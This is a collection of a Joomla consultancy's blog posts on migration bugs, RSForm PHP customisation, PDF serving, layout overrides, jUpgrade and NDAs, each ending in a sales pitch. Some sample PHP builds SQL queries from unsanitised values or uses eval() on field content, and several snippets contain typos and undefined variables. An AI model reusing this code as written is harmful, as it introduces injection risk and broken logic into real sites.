
Save Button Not Working After Migrating Joomla

We are migrating many Joomla websites (from version 1.5.x to the latest 2.5 version) these days and a common problem that we see is that once we finish the migration, and we make the website live, the “Save” button (as well as many button in the Joomla menu) stops working. This is normal – and it’s because our method of migrating Joomla consists of creating a sub-directory in the main website’s directory, ensuring that the website works normally under that sub-directory, and then moving the contents of that sub-directory to the directory of the main Joomla website, essentially overwriting the Joomla 1.5 version of the website with the Joomla 2.5 version. You might now think, “how are these two things related to each other?”

Well, when you migrate this way (by creating a sub-directory for the Joomla 2.5 version and then moving it up one level), you are causing some caching issues (not to mention, of course, some login issues) at the browser level. The browser becomes confused a bit, and there are two ways to unconfuse the browser and solve this problem:

  1. Clearing your browser cache: Clearing your browser cache ensures that your browser has the latest version of your website – and that there are no cached JavaScript libraries that are conflicting with your Joomla’s functionality.
  2. Resetting your Joomla admin template: Resetting your Joomla admin template consists of switching from one admin template to another (usually from Bluestork to Hathor) and back (when you do this, Joomla instructs the browser that its cached version of JavaScript files is not up-to-date, and it needs to be refreshed). So, for example, if you’re using Bluestork (which is the default template) as the template for your administrator area, all you need to do is to switch to the Hathor template and then switch back to Bluestork. Changing the template of your admin area can be done in the same place where you change the template for your site (under “Extensions”->”Template Manager”).

We think that this is an annoying bug in Joomla and can cause a lot of anxiety for those that migrate their Joomla websites by themselves (because they think that they did something wrong during the migration process when they really didn’t). We hope that this bug will be fixed in a later installment of the Joomla 2.5 series.

Now if you’re trying to migrate your Joomla website to the latest version and you’re having problems during the process, then all you need to do to get help is to contact us. We’re friendly, we’re fast, we’re very knowledgeable about Joomla, and our prices are very affordable.

Wrapper Component in Joomla Downloads File on Firefox and Chrome Instead of Displaying it

One of the little used Joomla official extensions out there is the wrapper component. The wrapper component has a very simple job to do: it includes a page from another website (or even from your website) into a page on your Joomla website. For example (this is just an example – yes, we know it’s not a great example – but we’ve seen it several times so far), let’s say that you run multiple businesses, and each of these businesses has a website – but they all share the same “Our Company” page. So, instead of creating an “Our Company” page for each and every website, you just create a file called “our-company.html” in one of the websites, and then create a menu item of type wrapper pointing to that page. Once you do that, the external page is loaded into your website (inside an iFrame). As you can see, this is really easy!

There are two advantages to using a wrapper:

  1. Consistency: You will not end up with several versions of the exact same page (one for each website).
  2. Ease of update: If you ever need to update the content of a global page, you will only need to do it in one place.

Of course, you can include any page from any website on your website (the included page doesn’t have to belong to you) – in fact, a very common use of wrappers is to include a form on another website (such as a newsletter form or a customized registration form).

While wrappers do look very interesting and easy to use, they have some disadvantages:

  • Some websites block other websites from displaying their content within iframes: Many system administrators/developers block their websites from being iframed by using a simple JavaScript code. There is also a method to block iframes via the .htaccess file. It is important to mention though that both methods are not 100% efficient.
  • If the included page is hacked, then the host website (e.g. your website) will be considered as hacked: Google not only checks the JavaScript code on your website for cleanliness, it also checks the JavaScript file of all the included files in your page – even if these files reside on totally different servers and do not belong to your website. If you’re including a hacked page from another website on your website, then your website will be flagged in Google’s search engine results and it may be potentially delisted if you don’t remove the wrapper.

  • A wrapper can break the look & feel of your website: Don’t expect Joomla to be that smart and automatically apply your stylesheet to the included page. The page will be included as is, meaning the colors, the layout, the fonts, etc… will be those of the source website and they may or may not match the look & feel on your website (in most cases they won’t).

  • You cannot change the wrapper’s content using Joomla plugins: Joomla system plugins are usually used to modify any content on a Joomla website – however, since the wrapper’s content is usually loaded by the browser and not processed by the server, there is no (easy) way to make system plugins read and modify the content of that wrapper prior to display.

Now after this introduction to wrappers (as well as their advantages and disadvantages), let us talk about the Joomla problem we faced today…

One of our customers called us and told us that he made a wrapper that includes a static HTML page on his website. The wrapper, however, only worked properly on Internet Explorer, but on Firefox and Chrome the HTML file was being downloaded instead (or the user was being prompted to download the file). That was very odd!

We did a lot of experimentation and we eventually discovered that his environment was not setup to read HTML files – it was considering HTML files as non-web files and thus browsers were downloading HTML files instead of displaying them. Easily fixed, we thought… All that needed to be done was to add the following line to the .htaccess (we also included txt files, just in case):

AddType text/html *.html *.htm .txt

The above instructs the server to serve pages with an .html extension as HTML pages. Unfortunately, however, the above code didn’t work, because our client’s hosting environment was very restrictive and didn’t allow of such changes in the .htaccess file.

So what we did to solve the problem is that we renamed the file from included_file.html to included_file.php – essentially forcing the webserver to treat the file as a PHP file and serve it normally to the browser.

Now – if you’re someone who pays attention to details, you might be wondering how come Internet Explorer was displaying the file properly while the other two major browsers didn’t? The answer is simple: Internet Explorer simply doesn’t care what the webserver tells it about the nature of the file – it just looks at the extension and the content-header. Of course, this is considered to be a violation to the server rules – but on the bright side, it did work!

Now if you’re using Joomla’s wrapper component and you feel you need help then we’re here for you! Just contact us and you will see how friendly, motivated, fast, and efficient we are! We also have the most affordable rates out there!

“You Do Not Have Access to the Administrator Section of This Site” Error When Trying to Login to Joomla’s Admin

Usually we write about a recurring Joomla problem immediately – but for some reason we didn’t write about this error before, although we have seen it so many times before. But this afternoon, we got a call from a system administrator at a Fortune 500 company (a well known company making computer processors) saying that she’s not able to login as an administrator to Joomla. So, VPN’d to her machine and then to the Joomla website (the Joomla website was internal for the company), and we tried to login, and true enough, we saw this error: “You do not have access to the administrator section of this site”. Those who are inexperienced with Joomla will do one of the following when they see this error:

  • Check if the user is blocked in Joomla.
  • Reset the Joomla password of the user.

Both methods above are irrelevant in this scenario because this error happens after checking if the password is OK and after checking if the user is blocked. In other words, a wrong password or a blocked user will break the login process earlier and will result in a different error.

Here are the steps that we, at itoctopus, follow in order to solve the problem:

  • Step 1: Check if the user is really an administrator: In many cases, this error happens when the person is trying to login with a user who’s not an administrator (usually this happens when the person has two users on the website, and he’s logging in with the wrong user) or who’s no longer an administrator (someone might have revoked administrative access for that user). Checking if the user is an administrator is easy – all you need to do is to check if the id of the user is assigned to the right group in the table jos_user_usergroup_map (replace jos with your table prefix). If all is OK (the user is assigned to the right group) then we move to the next step… (If not then we fix the problem)
  • Step 2: Check if the ACL tables are not corrupt: This is where it gets tricky since Joomla’s ACL tables are not that easy to understand. However, if the login problem is because of ACL corruption, then in 99% of the cases the error lies somewhere in the jos_viewlevels and/or the jos_usergroups tables. We suggest that you look at a clean Joomla database and compare the two tables of that database with those in your website’s database. If the ACL tables are corrupt, then we manually fix them (fixing these tables should only be done by an expert) – if not, then (you’ve guessed it!) we move to the next step.

  • Step 3: Check the jos_assets table: If all else fails, then (sadly) the problem almost certainly lies in the jos_assets table (which is, by far, the scariest table in Joomla – because a simple mistake in that table can cause a total collapse of the website). The two most common causes in the jos_assets table that might lead to this problem are:

    1. Missing entry for the com_admin row. (By the way, that was the reason why the system administrator at that chip maker company wasn’t able to login to the website)

    2. Wrong rules field for the com_admin row. The rules field for that row should just contain “{}”. (two curly brackets)

If you are seeing the “You do not have access to the administrator section of this site” error when you try to login to the backend of your Joomla website, and if you are positive that you have administrative access to the website – then unless you’re a very technical person, we suggest that you contact some Joomla experts to fix the problem for you! Step 2 and Step 3 above are rather complicated and delicate and if done incorrectly then they may break the whole website – and not just login functionality. By the way, we are the Joomla experts, so feel free to contact us and we promise you that we’ll solve your login problem in no time and that we won’t charge you much!

How to Dynamically Duplicate a Form in RSForm Using PHP

Note 1: Validating fields on dynamically duplicated forms is too complex to explain in one post – and that’s why it’s not included here. If you want help on this, then please contact us.
Note 2: We are assuming that you do not wish to save the fields in the database – if this is not the case then (you’ve guessed it!) contact us. Again, this is very complicated task and that’s why we elected not to include it here.
Note 3: We are assuming that you only have one submit button on your page.
Note 4: We are assuming that you want to duplicate the whole form, and not just parts of it.
Note 5: “Auto Generate Layout?” must be unchecked (we will explain later why).
Note 6: This post is targeted for those with solid PHP experience and advanced Joomla knowledge. If you’re not a programmer then we suggest you contact some Joomla Experts to do the below.

In our last post on RSForm, we explained how to how to assign dynamic values to fields by using some specially formed PHP code (that code only works in RSForm Pro). In this post, we will disucss how to dynamically duplicate a form in RSForm.

So, why does anyone need to duplicate a form with RSForm?

Let’s say, for example, that your company offers training services for other companies. A company requiring your training services wants to enlist some of its employees for one of your trainings – and so you need a page that contains multiple instances of the same form (one for each trainee) depending on the number of the trainees. There are two ways to do this: 1) Create a custom component to do this (which can be a tedious, complicated, and error-prone task) or 2) leverage the power and flexibility of RSForm to do this. We will focus on how to do this using the latter way.

If you have been using RSForm for some time (and if you have some technical background), you probably know that the form itself is available in a variable called $formlayout on form display and can be manipulated with a PHP script.

Script called on form display

Figure 1: “Script called on form display” textarea in RSForm. This is where one can manipulate the form layout prior to its display.

What does that mean? That means that if we write something like this $formLayout .= $formLayout; in the Script called on form display textarea (you can reach this textarea by clicking on a form in the backend, and then clicking Properties on the top of the form, and finally clicking on PHP Scripts under Scripts on the bottom left) the whole form will be duplicated. Try it, it’ll work!

But, just duplicating the form is not enough, as we need to ensure that the following 3 things are done:

  1. The <form> and </form> tags are not duplicated. This can be done with a simple find and replace using the following code:

    //remove the </form>.
    $duplicateForm = str_replace("</form>", "", $formLayout);
    //now we have duplicate content of the form without the </form> tags.
    $duplicateForm = preg_replace("#<form(.*)>#i", "", $duplicateForm);

  2. The submit button is not duplicated. This is a bit tricky, because the submit button is a field like any other field (or a component, as per RSForm’s terminology). A smart (and fast) way for doing this is to encapsulate the entry for the submit button between something like <!–ignoresubmitbutton–> and then remove anything between them when duplicating the form.
  3. The duplicated fields have different names and ids. This can be done by appending xyz (or another suffix/prefix of your choice) to the name and the id of each and every field and then do an str_replace that replaces xyz with the current number of the form.

Here’s what the script that is called on display of the RSForm to duplicate the form should be:

	//getting the ID of the customer from the session
	$session =& JFactory::getSession();
	$customerId = $session->get('customerId');
	//getting the number of trainees (which is the same as the number of forms) from the database
	$db = JFactory::getDbo();
	$query = $db->getQuery(true);
	$query = "Select num_trainees from #__training WHERE customer_id='".$customerId."' LIMIT 0, 1";
	$db->setQuery($query);
	$numForms = $db->loadResult();

	//creating a copy of the form without <form> and </form>
	$duplicateForm = str_replace("</form>", "", $formLayout);
	$duplicateForm = preg_replace("#<form(.*)>#i", "", $duplicateForm);

	//now remove the submit button area
	$arrDuplicateForm = explode('<!--ignoresubmitbutton-->', $duplicateForm);
	$duplicateForm = "";
	for ($i = 0; $i < count($arrDuplicateForm); $i++){
		if ($i == 1)
			continue;
		$duplicateForm .= $arrDuplicateForm[$i];
	}

 	//ensuring that the names and the ids are not the same in duplicated forms
	$duplicateForms = "";
	for ($i = 0; $ i < $numForms - 1; $i++){
		$duplicateForms .= str_replace("xyz", "".$i+1, $duplicateForm);
	}
 	//adding all the generated forms to the original form
	$submitPosition = strpos($formLayout, "<!--ignoresubmitbutton-->");
	$formLayout = substr_replace($formLayout , $duplicateForms, $submitPosition, strlen("<!--ignoresubmitbutton-->"));
	

Now that we have duplicated the form, all we need to do is to format the information received in the email. But how can this be done?

Well, it's not that hard as it may seem. The first thing that we need to do is to save the $_POST information in the session (or in a table) by adding the following code to the textarea titled Script called on form process:

	$session =& JFactory::getSession();
	$session->set('forminformation', $_POST);

The second (and final) thing that we need to do is to retrieve the session information in the Script called before the Admin Email is sent textarea and then manipulate the $adminEmail to fit our needs. Here's the code:

	$session =& JFactory::getSession();
	$arrFormInformation = $session->get('forminformation');
	//now we can manipulate the $adminEmail the way we want
	//after finishing our work with $adminEmail, we need to clear the session variable forminformation
	$session->clear('forminformation');

As we stated in the beginning of this post, one needs to have some decent PHP and Joomla experience to do the above. If you're not a technical person and have some tricky requirements on your RSForm (such as dynamically duplicating forms based on some criteria) that you can't do by yourself, then we're happy to tell you that we can help you! Just contact us and see how fast, affordable, efficient, and knowledgeable we are. We are, after all, the Joomla Experts.

“JHTML:icon Not Supported” Error When Migrating to Joomla 2.5

We’re currently migrating a large news website from Joomla 1.5 to Joomla 2.5 – and we’re facing some weird issues during the migration. For example, while we were able to migrate the articles successfully, clicking on any link (pointing to an article) resulted in the following error:

500 – JHtml: :icon not supported. File not found.

The first thing that we did was to find where this error is being generated, and to find that, we needed to find the language constant that actually contains this error. So we searched for the pattern “*not supported*” in all the language files of a test Joomla 2.5 installation, and we found that the constant containing that error was: JLIB_HTML_ERROR_NOTSUPPORTED_NOFILE.

Our next step was to search for JLIB_HTML_ERROR_NOTSUPPORTED_NOFILE in a Joomla 2.5 installation to see in which file it is called, and we easily found it at line 123 of the html.php file which is located under the /libraries/joomla/html directory. When reading the function that raises this error, we discovered that it was trying to include the file icon.php, and it was expecting it to be under the /libraries/joomla/html directory. The file icon.php did not exist in that directory. So what we did was that we copied that file from the new Joomla website from the directory /components/com_content/helpers to the /public_html/libraries/joomla/html directory and that solved the problem!

Note: Most posts on this topic that claim to solve this problem suggest that you delete the whole com_content folder located under /template/[name-of-your-template]. We strongly recommend against this because while it may resolve the issue, it’ll strip the custom design from the website. So, unless you don’t really care about the design, do not delete that directory.

We realize that Joomla’s migration is a hard task that requires a lot of Joomla experience and (potentially) some solid programming skills – so if you’re migrating your Joomla website from 1.5 to 2.5 and you’re running into all sort of problems, then maybe it’s time you call some Joomla experts to do the job for you. Just contact us and we’ll finish the migration for you in no time (we’ve migrated many Joomla websites so far) – oh, and by the way, our fees are very affordable for what we do!

How to Assign Dynamic Values to Fields in RSForm Pro

Note 1: If you don’t have RSForm Pro (e.g. you only have the free version of RS Form), then the below will not work for you.
Note 2: This post is targeted at intermediate to advanced programmers. A Joomla administrator (unless he’s very technical) will be unable to do the below by himself.

We love our job. Every day we have a new challenge, and every day we learn something new. Today one of our clients wanted us to create a highly dynamic form with RSForm Pro. Of course, you might think that all forms built with RSForm are already highly dynamic, but this one pushed new boundaries. He wanted us to fill in values in input fields, select boxes, radio buttons, checkboxes, and hidden fields dynamically from his database. In other words, let’s say he has a table in the database called jos_vegetables that contains 2 fields: id and name. In his form, our client wants the dropdown box named vegetables to be filled in automatically with values from this table. This will ensure consistency across his website because he won’t have to update the form manually if he elects to add another field to the jos_vegetables table.

Our first attempt was the following:

  • Create a function called getVegetables() which will return a string consisting of the vegetable name and place it in a library file called ourfunctions.php. Here’s the function’s code:
    function getVegetables(){
    	$db =& JFactory::getDBO();
    	$sql = "SELECT name FROM #__vegetables ORDER BY name ASC";
    	$db->setQuery($sql);
    	$arrVegetables = $db->loadResultArray();
    	$strVegetables = "";
    	if (!empty($arrVegetables)){
    		$strVegetables = implode("\n", $arrVegetbales);
    	}
    	return $strVegetables;
    }
    

  • Create the dropdown box called vegetables in the form and give it a value of {rsformvalue getVegetables} in the Items box.

  • Create a system plugin that will run after the System – RSForm! Pro plugin and that will translate all mentions of {rsformvalue [functionname]} with the return value of [functionname].

Technically, the above worked – but we felt that it wasn’t a solid solution to the problem. Creating a plugin to alter the content of a page is usually our last resort. So we thought, could it be that RSForm Pro already has something that will allow us to enter PHP code in the Items box (or in the Default Value field). After some heavy research on the topic, we discovered that RSForm Pro had one undocumented feature: if one adds <code> in the Items box (or, again, in the Default Value field) then all the code in that box will be eval’d. So we tried it, and we entered the following code in the Items box:

<code>return getVegetables();</code>

But we got the following error instead:
Parse error: syntax error, unexpected ‘<' in /administrator/components/com_rsform/helpers/rsform.php(512) : eval()'d code on line 1

So we looked at line 512 in the rsform.php file (located under /administrator/components/com_rsform/helpers/) and we saw the following code:

function isCode($value){
	$RSadapter = RSFormProHelper::getLegacyAdapter();
	if (strpos($value, '<code>') !== false)
		return eval($value);
	return $value;
}

When we looked at the above code, we immediately discovered that it’s buggy and it’ll never work as it should. This is because <code> will be eval’d by the eval function, which will always return a parse error. So we fixed the issue by removing <code> and </code> from $value. Here’s the fixed function:

function isCode($value){
	$RSadapter = RSFormProHelper::getLegacyAdapter();
	if (strpos($value, '<code>') !== false){
		$value = str_replace(array('<code>', '</code>'), '', $value);
		return eval($value);
	}
	return $value;
}

Our code above worked normally when we fixed the isCode function.

As you can see, this is a modification to RSForm’s core file. If you don’t want to fix the bug then there’s a workaround that actually works. The value inside the Items box should be something like the following:

$ignoreThisValue=<code>;return getVegetables();

The above will (cleverly) instruct RSForm that the value must be eval’d but without running into the Parse Error problem because we’re just assigning a dummy variable a value of <code>.

Caveats:

  • Do not encapsulate your code with double quotes (”) or single quotes otherwise you will most likely have a parse error.

  • Make sure to always end your code with a semi-column (;). If you don’t you will have a parse error and the code will not work.

  • Make sure you always use return. PHP’s eval function will not return anything if there is no returned value in the code.

  • PHP’s eval is a very dangerous function. Make sure that the eval’d code (e.g. the code between <code> and </code>) does not include any direct input from the user.

We realize that this post is very advanced, and may be too complicated for many Joomla administrators. But fear not, if you need help adding dynamic values to fields in your RS Form Pro component, then you can always contact us. We will do it for you in no time and at a very affordable price!

Beware of Fake Joomla Migrations

A client called us today (around noon) and told us that he’s unable to install a Joomla extension on his website. He said that the installer is displaying an error. He gave us the information to his website (username and password of a super administrator) and emailed us the extension that he was trying to install. Before even logging in to his website, we extracted the extension and looked at its XML setup file to see if the XML is properly formed and that all the files that are listed in the XML file are physically included in the same zip file. Everything looked OK for us. It was really just a small Joomla 2.5 plugin. We then went to the administrator’s login to his website, and before even logging in, we immediately recognized that he had Joomla 1.5 installed. We called him immediately and we told him that he was trying to install a Joomla 2.5 extension on a Joomla 1.5 website, and that’s why it’s not working. To our surprise, he told us “But I have a Joomla 2.5 website” so we told him that we are very confident that what he really has is a Joomla 1.5 website. He said that we are wrong, and that when he logs in to the backend, and checks the Joomla version by going to Help->System Info, he sees Joomla! 2.5.7 as the version. We told him that this is impossible, but then we logged in to the backend of his website, and we were stupefied to see that what he was saying was true – the backend did show Joomla! 2.5.7 but we knew that what he really had was a Joomla 1.5 website.

We called him and asked him whether someone worked on his website recently. He told us that a programmer migrated his website to Joomla 2.5 from Joomla 1.5 a couple of weeks ago – he told us that the programmer finished the job in just one day and charged him about $600. At this point we knew what happened: The programmer faked a Joomla migration by just changing all the references, in the code, from Joomla 1.5 to Joomla 2.5 – particularly the reference to Joomla 1.5 which is found in the version.php file which is located under the /libraries/joomla directory. We have seen some unethical programmers before – but this one has set new lows when it comes to the ethics of our profession. We will spare you the details of what happened when we told our client what his programmer did.

So how can someone know if his website was really migrated to Joomla 2.5 or not? Easy – all one needs to do is to try to install a Joomla 2.5 extension and see if it works. If it does, then he definitely has Joomla 2.5, if it doesn’t – well, then he still has an older version of Joomla. Oh, and if it does sound too good to be true – then it probably is: don’t believe anyone who tells you that it takes a day or less to migrate a Joomla website – it’s either he’s not really migrating the website or he doesn’t care if your website works at all post-migration. A Joomla migration takes at least 2 full days of work. You have been warned!

If you need to migrate your Joomla website and you’re looking for a trustworthy company to do that for you, then you at the right place. Just contact us and we’ll initiate the migration process as soon as possible. Rest assured that your website will look exactly the same as it was pre-migration when we’re done migrating it. By the way, our fees are very affordable so you don’t really need to worry about setting a huge budget for this project. What are you waiting for?

How to Retrieve a PDF file from the Database and Display It on a Joomla website

One of the requirements on a project that we’re currently working on was to display PDF files on a Joomla website. This might seem very easy – except that the PDF document is stored in the database (instead of the filesystem) and must be displayed on a separate window and not inline.

The process was simple, all we needed to do was to create a function called showPDF($id) that will retrieve the content of the file (based on its id) from the database, modify the headers, and that’s it. So here’s the code of the function that we tried:

function showPDF($id){
    $query = "SELECT pdf_content FROM #__pdf_files WHERE id=" . $id;
    $db->setQuery($query);
    $pdfContent = $db->loadResult();
    header('Content-type: application/pdf');
    header("Cache-Control: no-cache");
    header("Pragma: no-cache");
    header("Content-Disposition: inline;filename='[name of the PDF file]'");
    header("Content-length: ".strlen($pdfContent));
    echo($pdfContent);
}

Unfortunately, when we called the function from our (custom made) component, it was displaying gibberish. Here’s what we were seeing (we have removed the template because we would like our client to remain anonymous):

Gibberish

Figure 1: Gibberish is being displayed instead of the actual PDF file (Notice how the content starts with ‘%PDF-1.4′)

So we thought “Hmmm… Let’s try using Joomla’s built in function to set the content-type” and so we added the following lines at the top of the function:

	$doc =& JFactory::getDocument();
	$doc->setMimeEncoding('application/pdf');

We thought that we will see the PDF successfully displayed when adding the above lines, but instead the following message popped up: “File does not begin with ‘%PDF-’.”

File does not begin with %PDF-

Figure 2: Adobe Acrobat error message (Note: In case you’re wondering, we got a snapshot of only the selected popup using ALT + PrintScreen – try it!)

When we saw that the page was also displaying the template, we said to ourselves: “What were we thinking?” Since we’re trying to display the file from within Joomla, then Joomla will, by default, use its template engine to generate the page (which will break the content of the PDF file). Since we wanted the PDF generation process to be part of our Joomla component (we didn’t want to create an independent file called download.php that will be used to display the PDF), we had to get rid of all the content generated by Joomla and only display our content. Here’s when the die() function came to the rescue:

function showPDF($id){
    $query = "SELECT pdf_content FROM #__pdf_files WHERE id=" . $id;
    $db->setQuery($query);
    $pdfContent = $db->loadResult();
    header('Content-type: application/pdf');
    header("Cache-Control: no-cache");
    header("Pragma: no-cache");
    header("Content-Disposition: inline;filename='[name of the PDF file]'");
    header("Content-length: ".strlen($pdfContent));
    die($pdfContent);
}

Instead of echoing the content, we issued a die function which will display the content of the PDF but will stop at that! die() is a PHP function that will instruct the PHP engine to stop processing any further instructions on the page.

As you can see, displaying the content of a PDF file from a database on the fly is not that complicated after all! All we needed to do was to follow the same standard process and use die() instead of echo().

If you need help integrating PDF functionality on your website, then feel free to contact us. We’re always ready to help and our prices are very affordable!

Website Stops Working After Enabling a Joomla System Plugin

Nearly every day we get the following call from one of our client:

“Hi – my Joomla website stopped working all of a sudden – I’m not even able to login to the backend! This is an emergency, can you help?”

“Of course we can help!”, we answer, and even though we know the likely cause of this problem, we ask the client if he did anything that may have caused this problem.

“Nothing that I can remember – except that I enabled (or installed) a Joomla plugin.”

“And is that a system plugin?”, we ask.

“I don’t know what a system plugin is – but maybe!”

In case you’re wondering, here’s what happened:

  • The client installed a system plugin or an extension package that contained a system plugin.

  • The installation script automatically enabled the system plugin or the client manually enabled it.

  • The system plugin was…

    • incompatible with the Joomla version OR
    • incompatible with the PHP version OR
    • has an error in the code.
  • Since the system plugin runs on all the pages (including the admin pages) by default – and since there’s “something wrong” about it – then the whole website will become dysfunctional (either it will display a blank page or there’ll be an error on every page of the website).

Now, you might wonder, how can someone know if enabling a plugin will break his website? The answer to this question is simple: There is no non-technical and straightforward way to tell whether enabling a plugin will break a Joomla website or not – the only way to tell is to either enable it and see what will happen, or try enabling it on a test website, and if everything works fine, then install the plugin and enable it on the production website.

But what if the plugin was already enabled and the whole website went down? What can be done to restore the website to its normal functionality? Well, at this point, since even the admin section no longer works, the Joomla administrator can either call some Joomla experts (such as us!) to fix the website, or disable the plugin from phpMyAdmin in the jos_extensions table (jos_ should be replace with the database prefix in the configuration file), or physically delete the plugin from the filesystem. Please note that the last 2 actions may cause even bigger (and potentially irreversible) problems if done incorrectly – so the best option is to always call some Joomla experts if the administrator is not a technical person.

If your Joomla website stopped working after you have enabled a plugin and if you’re hesitant (and rightfully so) to take the necessary actions yourself to address the problem, then we suggest you contact us! We can solve the problem in no time and we don’t charge much – we’re also very friendly and we’re really nice people to work with!

Overriding the Layout for a Joomla View from PHP

A few members of our team at itoctopus are currently working on a highly dynamic eLearning Joomla website that has many components, and each of these component has several views. One of these components was unique in the sense that some of its views had a different layout when the item to be displayed had some specific attributes (all the attributes came from the database). For example, if the category that that item belonged to was “animal”, then the displayed page would have a different layout than that of an item that belonged to a category called “insect”.

In short, here’s what we wanted to accomplish:

  • The client loads the view to display an item in a custom-made component.
  • If the item in question belongs to category XYZ (where XYZ can be the name of any category), then have the view must display the layout for category XYZ.

Doing the above was pretty simple, all we needed to do was to create a file called default_animal.php (we’ll explain, later in this post, the reason why there is default_ in the filename) for example, and place it in the /templates/html/com_componentname/view_name/ directory at the same level of the default.php file and replace the following line (in the view.html.php file):

parent::display($tpl);

With this code:

//we are assuming that $categoryName exists
if (!empty($categoryName)){
	parent::display($categoryName);
}
else{
	parent::display($tpl);
}

$categoryName in our code above is the name of the category, for example fish. Note that if the file default_[categoryName] does not exist, then the above code will not work, and you will see the following error when you load the view:

500 – Layout default_[categoryName] not found

So, there you have it – now you know how to load a layout dynamically from a view.

But why do we need the default_ prefix in our filename?

Is it because the function loadTemplate which is called by function display and which is located in the file view.php (which, in its turn, is located in the /libraries/joomla/application/component/ directory) has the following code:

if ($this->_template == false)
{
	$filetofind = $this->_createFileName('', array('name' => 'default' . (isset($tpl) ? '_' . $tpl : $tpl)));
	$this->_template = JPath::find($this->_path['template'], $filetofind);
}

As you can see from the above, the function explicitly adds ‘default’ to the name of the layout (in case the name of the layout is NULL, then the function will simply try to load default.php).

Now if you need help building your views on your custom Joomla components, or you need help on anything Joomla, then you’re at the right place. Just contact us and we’re confident that you’ll be impressed with our speed, efficiency, and professionalism – not to mention our very affordable prices!

Caution: jUpgrade Does Not Work as It Should!

We’re doing many migrations from Joomla 1.5 to Joomla 2.5 after people discover (the hard way) that these migrations are not that easy at all! Most of the companies/individuals that we migrate their Joomla websites for have already tried to do the migration themselves by following the (incomplete and broken) guide on Joomla’s official website. The main step in that guide (responsible for downloading, extracting, and installing Joomla 2.5 and migrating some of the content), instructs the Joomla administrator to install jUpgrade to do that. Now while jUpgrade often works properly when it comes to installing Joomla 2.5 (which is the easiest and fastest step in the migration), it is not reliable at all when it comes to migrating the content. Here’s why:

  • The code of migrating the content is located on another server: Apparently, those who created this extension don’t want to give it out their source code (that’s their right and we respect that) – but the thing is, having the code to migrate the content on another server other than the one hosting the Joomla website means 2 things:

    • The company hosting the migration code will have a copy of your database – this is a major security issue especially if there is some confidential data on your Joomla website.

    • The migration can take an awfully long time especially on medium to large websites.

  • jUpgrade hangs 9 out of 10 times: This is expected, because jUpgrade sends the old content (the content to be migrated) to another server which processes that content, and then sends back a copy of the content modified to work on Joomla 2.5 to the client. Imagine what will happen if there’s a lot of content or if there are connection issues during the migration process. Yes – you’ve guessed it – the migration process will hang!

  • jUpgrade does not take into consideration interdependencies between components: One of the main drawbacks of jUpgrade is that, in most cases, it doesn’t take interdependecies between different components into consideration. While jUpgrade is, in some cases, able to identify and correctly handle the interdpendecies between menus, menu items, articles, and categories, it is not able to do that for 3rd party extensions. For example, if you have a commenting extension that links a comment to an article based on the article id, the right link between the comment(s) and the article will be lost because the id of the article changes during the jUpgrade content migration.

  • jUpgrade confuses the administrator with its weird backup: Just before the migration process takes place, jUpgrade backs up all the Joomla tables in the same database – which is a good step – except that jUpgrade does it in a very weird way that confuses even the most experienced Joomla administrator out there. Anyone who did tried to do the migration will know what we mean.

At itoctopus, we don’t use jUpgrade because we think it’s very unreliable – and until Joomla developers come up with a decent, non-intrusive, and secure way to migrate Joomla websites from 1.5 to 2.5, we suggest you either do the migration manually or call on some Joomla experts to do that for you! By the way, we are Joomla experts, so how about you contact us to do the migration for you? We’ve done this many times so far and we’ll be happy to do it for you for a very reasonable price!

NDAs: What We Think of Them and When We Sign Them

We have worked on so many projects (especially Joomla projects) for the past several years – these projects ranged in size from very small projects to large, governmental projects. From time to time, we have a project where the client asks us to sign an NDA (Non-disclosure Agreement) before starting the actual work. In many cases we refuse, here’s why:

  • If we sign an NDA for each and every project we take, we will reach a point where we can’t do anymore work: The NDA consists of clauses that are more or less like the following:
    • The code that you did for us cannot be used for anyone else: The thing is, in our industry (especially when developing on Joomla’s platform), everyone reuses his or other people’s code. We’d be lying if we say that each and every line of code that we create is original because this is simply not the case. In fact, a considerable chunk of the code that we do on any project consists of some code that we did previously for another client or that someone else did and shared with the public (of course, we do review all the code that was not created by us). It just doesn’t make sense to re-invent the wheel, or force us to re-invent the wheel.

    • You cannot re-use any information you learn from us: But how about the information that the client learns from us? We had a 2 hour meeting with a client here in Montreal a couple of weeks ago and we literally overwhelmed that client with the wealth of information that we have. We didn’t tell the client that he cannot use this information anywhere, in fact, we encouraged him to use (and re-use) that information and to even distribute it. We were amazed when that very same client asked us to sign 3 documents (including an NDA) that will tame our freedom (something that we appreciate a lot here at itoctopus) in order to start the work. Also, who’s to say that the information that we learn from the client’s project is not something that we already know? (Which is usually the case in 99% of our projects.)

    • All the information that you gain when working on our project is top secret: We acknowledge that some information that the client gives us is confidential (such as credentials and non-public database content) and we abide to that, but this doesn’t mean that all the information is top secret.

    • We will drag you to a court of our choice if we even think that you violated the terms in our NDA: This is by far the most disturbing part in an NDA and a very bad way to start a longterm business relationship. It’s like saying to a new friend the following: “If I even think that you have ever lied to me at any point in time, then I’ll drag you to court”. This is probably the main reason whey we are very reluctant to sign an NDA on the spot.

  • The NDA has so many details and ambiguous clauses that only a lawyer will be able to decipher: Any programmer worth his salt has probably seen so many NDAs in his lifetime and he’ll certainly agree with us that an NDA is a multiple page document with fine print everywhere. Sometimes even a word in the right place can make the NDA document 2 times stronger. While there are many standard NDAs out there, there are many companies that have their own NDAs, and we just don’t have the time nor the resources to take an NDA to a lawyer everytime a new client sends us one.

  • The NDA is usually governed by a country other than our home country: Canada is our home country, and the majority of our clients are from the US. NDAs in the US are drafted differently than those here in Canada (Quebec in particular) – this is because many US states have loose regulations over NDAs – something that makes the latter even more restrictive.

  • Some NDAs have very threatening language: Nobody likes to be threatened, including ourselves. We have seen NDAs that included a very harsh penalty (which is usually paying the client a substantial amount of money and/or some jailtime) in case the NDA is thought to be breached. We consider such NDAs to be very threatening and we’ll dismiss the project on the spot if the client asked us to sign one containing such language.

  • An NDA always assumes bad faith about the other party: We have yet to see something like “We think that your work will complement our vision – and that’s why your work makes all the difference for us” in an NDA. What we usually see is something like “We think that you might steal our information, and if we even suspect that then we’ll take immediate (and harsh) action”.

  • An NDA is drafted with the sole purpose to protect the client at the expense of the developer/development company: If you can show us an NDA that has only a sentence – one sentence – that caters for the interest of the developer/development company then it’ll be one NDA we have never seen in the lifetime of our company.

  • We’re trusting you from the get-go – why not do the same?: We have never ever made any of our clients sign on any document (except for a Joomla maintenance contract – but even at that there are no penalties and it’s easily cancellable) – and we expect that this will remain the case for the foreseeable future. We don’t even charge repeat clients up-front (which is something that almost all of our competitors do). We have full trust in our client even before starting the project – how come some of our clients just don’t trust us?

